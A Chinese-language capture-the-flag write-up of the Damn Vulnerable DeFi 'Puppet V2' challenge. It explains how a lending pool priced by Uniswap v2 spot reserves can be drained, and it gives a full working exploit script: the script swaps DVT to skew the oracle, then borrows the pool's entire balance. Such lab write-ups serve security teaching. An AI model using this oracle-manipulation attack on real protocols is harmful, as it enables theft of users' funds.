puppetv2
题目链接:https://www.damnvulnerabledefi.xyz/challenges/9.html
题目描述:
上一题借贷池的开发者发布了新的版本,现在使用 Uniswap v2 交易所作为价格预言机,以及推荐的工具库。
你初始有 20ETH 和 10000DVT,新的借贷池中有 100 万个 DVT。你需要取光改借贷池中的 DVT。
本题的解题思路同上一题,不同的是 ETH
换成了 WETH
,WETH
是符合 ERC20
标准的代币,并且同 ETH
的价值比是 1:1
其次是使用 uniswap
的 v2 版本作为价格预言机。v2 版本支持 Token
对 Token
的配对合约,本题中的配对合约是 WETH-DVT。
借贷合约 PuppetV2Pool.sol
提供的借贷的功能如下
function borrow(uint256 borrowAmount) external {
// 确保该合约持有的DVT数量是大于要借出数量
require(_token.balanceOf(address(this)) >= borrowAmount, "Not enough token balance");
// 计算需要存多少WETH
uint256 depositOfWETHRequired = calculateDepositOfWETHRequired(borrowAmount);
// 转WETH到该合约中
_weth.transferFrom(msg.sender, address(this), depositOfWETHRequired);
// 记录存入的WETH
deposits[msg.sender] += depositOfWETHRequired;
// 将 DVT token 转给 msg.sender
require(_token.transfer(msg.sender, borrowAmount));
emit Borrowed(msg.sender, depositOfWETHRequired, borrowAmount, block.timestamp);
}
允许借出 DVT
的前提是需要存入 WETH
,存入多少 WETH
是根据下面的方法计算的
function calculateDepositOfWETHRequired(uint256 tokenAmount) public view returns (uint256) {
// 抵押物的价值是3倍于借出的DVT
return _getOracleQuote(tokenAmount).mul(3) / (10 ** 18);
}
function _getOracleQuote(uint256 amount) private view returns (uint256) {
// 获取 WETH 和 DVT 的储备量
// getReserves 内部计算配对合约的地址,并返回配对的 Token 的储备量
(uint256 reservesWETH, uint256 reservesToken) = UniswapV2Library.getReserves(
_uniswapFactory, address(_weth), address(_token)
);
// 计算DVT的价值
// amount / x = reservesToken / reservesWETH
// x = (amount * reservesWETH) / reservesToken
return UniswapV2Library.quote(amount.mul(10 ** 18), reservesToken, reservesWETH);
}
uniswap
有配对合约 WETH-DVT,储备量分别为 reservesWETH
和 reservesToken
计算 DVT
的价值满足公式:
在测试脚本 puppet-v2.challenge.js
中做了如下初始化
-
Uniswap
工厂合约部署了 WETH-DVT 的配对合约并添加流动性 10WETH-100DVT -
给
attacker
转账 10000DVT 和 20ETH -
给借贷合约转账 1000000DVT
如果黑客直接全部借出 DVT,则需要付出的成本为
由于 WETH
和 WTH
是 1:1 等价的,同时黑客只持有 20 ETH。所以这是不可能完成。
因此可以用黑客持有的 DVT
去 uniswap
中兑换 WETH
,此举会增加 WETH-DVT 配对合约中 DVT
的储备量并降低 WETH
储备量,即在计算 DVT
价值的公式中,会增加分母并减小分子的值。所以 DVT
的价值会整体降低。
it('Exploit', async function () {
const attackerCallLendingPool = this.lendingPool.connect(attacker)
const attackerCallUniswap = this.uniswapRouter.connect(attacker)
const attackerCallToken = this.token.connect(attacker)
const attackerCallWETH = this.weth.connect(attacker)
// init:
// Attacker ETH: 20.0
// Attacker WETH: 0.0
// Attacker DVT: 10000.0
// Uniswap WETH: 10.0
// Uniswap DVT: 100.0
// LendingPool DVT: 1000000.0
// 授权 uniswap 支配 attacker 的 DVT token
await attackerCallToken.approve(
attackerCallUniswap.address,
ATTACKER_INITIAL_TOKEN_BALANCE
)
// 在 uniswap 中使用 DVT 兑换 WETH
await attackerCallUniswap.swapExactTokensForTokens(
ATTACKER_INITIAL_TOKEN_BALANCE,
ethers.utils.parseEther('9'),
[attackerCallToken.address, attackerCallWETH.address],
attacker.address,
(await ethers.provider.getBlock('latest')).timestamp * 2
)
// Attacker ETH: 19.99975413442550073
// Attacker WETH: 9.900695134061569016
// Attacker DVT: 0.0
// Uniswap WETH: 0.099304865938430984
// Uniswap DVT: 10100.0
// LendingPool DVT: 1000000.0
// 计算需要抵押的 WETH 数量
const collateralCount =
await attackerCallLendingPool.calculateDepositOfWETHRequired(
POOL_INITIAL_TOKEN_BALANCE
)
console.log('collateralCount: ', ethers.utils.formatEther(collateralCount))
// collateralCount: 29.49649483319732198
await attackerCallWETH.approve(
attackerCallLendingPool.address,
collateralCount
)
const tx = {
to: attackerCallWETH.address,
value: ethers.utils.parseEther('19.9')
}
await attacker.sendTransaction(tx)
// 借出 DVT
await attackerCallLendingPool.borrow(POOL_INITIAL_TOKEN_BALANCE, {
gasLimit: 1e6
})
// Attacker ETH: 0.099518462674923535
// Attacker WETH: 0.304200300864247036
// Attacker DVT: 1000000.0
// Uniswap WETH: 0.099304865938430984
// Uniswap DVT: 10100.0
// LendingPool DVT: 0.0
// The WETH that the hacker deposited: 29.49649483319732198
})
最后执行 yarn puppet-v2
测试通过!